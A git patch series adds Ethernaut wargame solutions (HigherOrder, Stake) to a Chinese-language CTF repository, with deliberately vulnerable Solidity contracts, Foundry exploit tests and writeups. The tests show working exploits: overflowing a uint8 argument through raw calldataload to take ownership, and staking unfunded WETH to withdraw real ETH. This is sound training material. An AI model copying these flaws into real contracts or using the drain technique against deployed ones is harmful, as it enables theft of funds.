From f7e760c1dcf5417c2867e48e0b58a6d4d1fb6644 Mon Sep 17 00:00:00 2001 From: aaron Date: Thu, 18 Apr 2024 15:43:50 +0800 Subject: [PATCH 1/3] Add HigherOrder contract and test files and writeup --- src/Ethernaut/HigherOrder/HigherOrder.sol | 19 ++++++++++++ src/Ethernaut/HigherOrder/HigherOrder.t.sol | 26 ++++++++++++++++ .../HigherOrder/HigherOrderFactory.sol | 17 ++++++++++ src/Ethernaut/HigherOrder/README.md | 31 +++++++++++++++++++ 4 files changed, 93 insertions(+) create mode 100644 src/Ethernaut/HigherOrder/HigherOrder.sol create mode 100644 src/Ethernaut/HigherOrder/HigherOrder.t.sol create mode 100644 src/Ethernaut/HigherOrder/HigherOrderFactory.sol create mode 100644 src/Ethernaut/HigherOrder/README.md diff --git a/src/Ethernaut/HigherOrder/HigherOrder.sol b/src/Ethernaut/HigherOrder/HigherOrder.sol new file mode 100644 index 0000000..2cc011a --- /dev/null +++ b/src/Ethernaut/HigherOrder/HigherOrder.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.6.12; + +contract HigherOrder { + address public commander; + + uint256 public treasury; + + function registerTreasury(uint8) public { + assembly { + sstore(treasury_slot, calldataload(4)) + } + } + + function claimLeadership() public { + if (treasury > 255) commander = msg.sender; + else revert("Only members of the Higher Order can become Commander"); + } +} diff --git a/src/Ethernaut/HigherOrder/HigherOrder.t.sol b/src/Ethernaut/HigherOrder/HigherOrder.t.sol new file mode 100644 index 0000000..43a9b18 --- /dev/null +++ b/src/Ethernaut/HigherOrder/HigherOrder.t.sol @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.6.12; +pragma experimental ABIEncoderV2; + +import "forge-std/Test.sol"; +import "./HigherOrderFactory.sol"; + +contract HigherOrderTest is Test { + HigherOrderFactory factory; + HigherOrder higherOrderInstance; + + function setUp() public { + factory = new HigherOrderFactory(); + higherOrderInstance = HigherOrder(factory.createInstance(address(this))); + } + + function testHigherOrder() public { + (bool success,) = + address(higherOrderInstance).call(abi.encodeWithSignature("registerTreasury(uint8)", type(uint256).max)); + require(success, "registerTreasury failed"); + + higherOrderInstance.claimLeadership(); + + assertTrue(factory.validateInstance(payable(address(higherOrderInstance)), address(this))); + } +} diff --git a/src/Ethernaut/HigherOrder/HigherOrderFactory.sol b/src/Ethernaut/HigherOrder/HigherOrderFactory.sol new file mode 100644 index 0000000..b1ddb8b --- /dev/null +++ b/src/Ethernaut/HigherOrder/HigherOrderFactory.sol @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.6.12; + +import "../base/Level-06.sol"; +import "./HigherOrder.sol"; + +contract HigherOrderFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + return address(new HigherOrder()); + } + + function validateInstance(address payable _instance, address _player) public override returns (bool) { + HigherOrder instance = HigherOrder(_instance); + return instance.commander() == _player; + } +} diff --git a/src/Ethernaut/HigherOrder/README.md b/src/Ethernaut/HigherOrder/README.md new file mode 100644 index 0000000..809ecfe --- /dev/null +++ b/src/Ethernaut/HigherOrder/README.md @@ -0,0 +1,31 @@ +# HigherOrder + +## 题目描述 + +[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xd459773f02e53F6e91b0f766e42E495aEf26088F) + +目标是使我们的账户地址成为合约中的commander。 + +## 运行 + +根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: + +```sh +$ cd WTF-CTF + +$ forge test -C src/Ethernaut/HigherOrder -vvvvv +``` + +## 功能简述 + +要想改变`commander`变量,只能让`treasury`变量大于255。而改变`treasury`变量只能通过`registerTreasury(uint8)`函数。 + +而`registerTreasury函数`中在改变`treasury`变量时,是直接读取了我们交易调用calldata的第4个字节后的32字节数据。然后将这32字节的数据写入了`treasury`变量所在的插槽。(calldata的前4个字节为函数签名selector) + +所以,我们只需调用`registerTreasury函数`,并在`calldata`的`selector`后拼接`treasury`变量的值(例如,修改为`type(uint256).max`) + +```solidity +abi.encodeWithSignature("registerTreasury(uint8)", type(uint256).max) +``` + +虽然`registerTreasury函数`接受的是`uint8`的变量,但是,函数逻辑里却是使用`calldataload`读取了32字节的数据。只需要`calldata`前4个字节的selector正确 ,就可以调用`registerTreasury函数`。 \ No newline at end of file From 8f2b9044fd0e8e0a867c40659454f583d69625af Mon Sep 17 00:00:00 2001 From: aaron Date: Thu, 18 Apr 2024 15:44:03 +0800 Subject: [PATCH 2/3] Add Stake contract and test files and writeup --- src/Ethernaut/Stake/README.md | 41 +++++++++++++++++++++++ src/Ethernaut/Stake/Stake.sol | 49 ++++++++++++++++++++++++++++ src/Ethernaut/Stake/Stake.t.sol | 36 ++++++++++++++++++++ src/Ethernaut/Stake/StakeFactory.sol | 22 +++++++++++++ 4 files changed, 148 insertions(+) create mode 100644 src/Ethernaut/Stake/README.md create mode 100644 src/Ethernaut/Stake/Stake.sol create mode 100644 src/Ethernaut/Stake/Stake.t.sol create mode 100644 src/Ethernaut/Stake/StakeFactory.sol diff --git a/src/Ethernaut/Stake/README.md b/src/Ethernaut/Stake/README.md new file mode 100644 index 0000000..9ce60db --- /dev/null +++ b/src/Ethernaut/Stake/README.md @@ -0,0 +1,41 @@ +# Stake + +## 题目描述 + +[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xB99f27b94fCc8b9b6fF88e29E1741422DFC06224) + +需要达成4个条件 + +- `Stake` 合约的ETH余额必须大于0。 +- `totalStaked` 必须大于 `Stake` 合约的 ETH 余额。 +- 我们的账户地址必须为质押者。 +- 我们质押的余额必须为 0。 + +## 运行 + +根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: + +```sh +$ cd WTF-CTF + +$ forge test -C src/Ethernaut/Stake -vvvvv +``` + +## 功能简述 + +`Stake`合约接受两种资产的质押,`ETH`和`WETH`。虽然两种资产在价值上是1:1等价的。但是`WETH`是`ETH链`原生代币的`ERC20`包装的版本(具体信息可以查看WTF-Solidity的[41节WETH](https://github.com/AmazingAng/WTF-Solidity/blob/main/41_WETH/readme.md))。 + +但是`Stake`合约中将`ETH`和`WETH`混为一谈。如果我们质押的是`WETH`,提取的却是`ETH`(`Stake`合约并没有将 `WETH`兑换为`ETH`,`Stake`合约某种程度上成为了`ETH`/`WETH`交易对)。 + +所以,我们质押`WETH`,提取`ETH`。就可以把`Stake`合约的`ETH`全部提取出来。 + +而且,`Stake`合约在转移质押者的`WETH`代币时,并没有判断转移交易是否成功,所以,我们只需要在`WETH`代币中对`Stake`合约进行授权就好,我们实际有没有`WETH`代币并不重要。 + +先质押`WETH`,在提取`ETH`,就可以把我们的质押余额清零。 + +题目的其他两个条件 + +- `Stake` 合约的ETH余额必须大于0。 +- `totalStaked` 必须大于 `Stake` 合约的 ETH 余额。 + +我们只需不提取完其他账户质押的ETH就好(为了完成题目,我们也可以切换个地址进行质押)。 \ No newline at end of file diff --git a/src/Ethernaut/Stake/Stake.sol b/src/Ethernaut/Stake/Stake.sol new file mode 100644 index 0000000..b509ab2 --- /dev/null +++ b/src/Ethernaut/Stake/Stake.sol @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract Stake { + uint256 public totalStaked; + mapping(address => uint256) public UserStake; + mapping(address => bool) public Stakers; + address public WETH; + + constructor(address _weth) payable { + totalStaked += msg.value; + WETH = _weth; + } + + function StakeETH() public payable { + require(msg.value > 0.001 ether, "Don't be cheap"); + totalStaked += msg.value; + UserStake[msg.sender] += msg.value; + Stakers[msg.sender] = true; + } + + function StakeWETH(uint256 amount) public returns (bool) { + require(amount > 0.001 ether, "Don't be cheap"); + (, bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this))); + require(bytesToUint(allowance) >= amount, "How am I moving the funds honey?"); + totalStaked += amount; + UserStake[msg.sender] += amount; + (bool transfered,) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), amount)); + Stakers[msg.sender] = true; + return transfered; + } + + function Unstake(uint256 amount) public returns (bool) { + require(UserStake[msg.sender] >= amount, "Don't be greedy"); + UserStake[msg.sender] -= amount; + totalStaked -= amount; + (bool success,) = payable(msg.sender).call{value: amount}(""); + return success; + } + + function bytesToUint(bytes memory data) internal pure returns (uint256) { + require(data.length >= 32, "Data length must be at least 32 bytes"); + uint256 result; + assembly { + result := mload(add(data, 0x20)) + } + return result; + } +} diff --git a/src/Ethernaut/Stake/Stake.t.sol b/src/Ethernaut/Stake/Stake.t.sol new file mode 100644 index 0000000..8ed9a98 --- /dev/null +++ b/src/Ethernaut/Stake/Stake.t.sol @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.25; + +import "forge-std/Test.sol"; +import "./StakeFactory.sol"; +import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; + +contract StakeTest is Test { + StakeFactory factory; + Stake stakeInstance; + + function setUp() public { + factory = new StakeFactory(); + stakeInstance = Stake(factory.createInstance(address(this))); + } + + function testStake() public { + new Deal{value: 0.0011 ether + 1}(stakeInstance); + + ERC20 WETH = ERC20(stakeInstance.WETH()); + WETH.approve(address(stakeInstance), type(uint256).max); + uint256 amount = 0.0011 ether; + stakeInstance.StakeWETH(amount); + stakeInstance.Unstake(amount); + + assertTrue(factory.validateInstance(payable(address(stakeInstance)), address(this))); + } + + receive() external payable {} +} + +contract Deal { + constructor(Stake stake) payable { + stake.StakeETH{value: msg.value}(); + } +} diff --git a/src/Ethernaut/Stake/StakeFactory.sol b/src/Ethernaut/Stake/StakeFactory.sol new file mode 100644 index 0000000..70d7385 --- /dev/null +++ b/src/Ethernaut/Stake/StakeFactory.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../base/Level.sol"; +import "./Stake.sol"; + +import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; + +contract StakeFactory is Level { + address _dweth = address(new ERC20("DummyWETH", "DWETH")); + + function createInstance(address _player) public payable override returns (address) { + _player; + return address(new Stake(address(_dweth))); + } + + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + Stake instance = Stake(_instance); + return _instance.balance != 0 && instance.totalStaked() > _instance.balance && instance.UserStake(_player) == 0 + && instance.Stakers(_player); + } +} From e30ba7b086f3a7928b43548a74c28c74db36d99c Mon Sep 17 00:00:00 2001 From: aaron Date: Thu, 18 Apr 2024 15:47:15 +0800 Subject: [PATCH 3/3] Add HigherOrder and Stake contracts and tests, and writeups --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index f16b9dd..c5cc3bd 100644 --- a/README.md +++ b/README.md @@ -117,6 +117,8 @@ $ forge test -C ./src/Capture_the_Ether/Warmup/Deploy_a_contract -vvv - **Good Samaritan**: [代码](./src/Ethernaut/Good_Samaritan/GoodSamaritan.t.sol) | [文章](./src/Ethernaut/Good_Samaritan/README.md) - **Gatekeeper Three**: [代码](./src/Ethernaut/Gatekeeper_Three/GatekeeperThree.t.sol) | [文章](./src/Ethernaut/Gatekeeper_Three/README.md) - **Switch**: [代码](./src/Ethernaut/Switch/Switch.t.sol) | [文章](./src/Ethernaut/Switch/README.md) +- **HigherOrder**:[代码](./src/Ethernaut/HigherOrder/HigherOrder.t.sol) | [文章](./src/Ethernaut/HigherOrder/README.md) +- **Stake**: [代码](./src/Ethernaut/Stake/Stake.t.sol) | [文章](./src/Ethernaut/Stake/README.md) ## 参考